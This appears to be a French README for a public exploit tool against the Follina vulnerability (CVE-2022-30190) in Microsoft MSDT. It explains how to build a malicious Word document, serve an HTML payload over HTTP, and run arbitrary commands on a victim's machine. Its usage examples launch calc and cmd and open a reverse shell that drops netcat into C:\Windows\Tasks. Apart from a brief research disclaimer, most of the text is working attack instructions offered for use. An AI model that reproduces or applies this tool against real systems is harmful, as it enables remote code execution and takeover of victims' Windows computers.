
Implémentation de FOLLINA-CVE-2022-30190
Implémentation de FOLLINA-CVE-2022-30190
Ce dépôt contient un outil d’exploitation pour la vulnérabilité FOLLINA-CVE-2022-30190
Cet outil a été développé à des fins de test de sécurité et de recherche. En clonant / forkan cet outil, le développeur d’origine décline toute responsabilité quant aux actions des utilisateurs.
Créez une attaque « Follina » MS-MSDT avec un document Microsoft Word malveillant et hébergez une charge utile avec un serveur HTTP.
usage: exploit.py [-h] [--command COMMAND] [--output OUTPUT] [--interface INTERFACE] [--port PORT]
options:
-h, --help show this help message and exit
--command COMMAND
command to run on the target (default: calc)
--output OUTPUT
output maldoc file (default: ./follina.doc)
--interface INTERFACE
network interface or IP address to host the HTTP server (default: eth0)
--port PORT
port to serve the HTTP server (default: 8000)
Lancer calc.exe :
$ python3 exploit.py
[+] copied staging doc /tmp/9mcvbrwo
[+] created maldoc ./cve202230190.doc
[+] serving html payload on :8000
Lancer cmd.exe :
$ python3 exploit.py --command "cmd"
Obtenez un shell inverse sur le port 9001. Notez que cela télécharge un binaire netcat sur la victime et le place dans C:\Windows\Tasks.
Il ne nettoie pas le binaire. Cela déclenchera les détections antivirus sauf si l’antivirus est désactivé.
$ python3 exploit.py --reverse 9001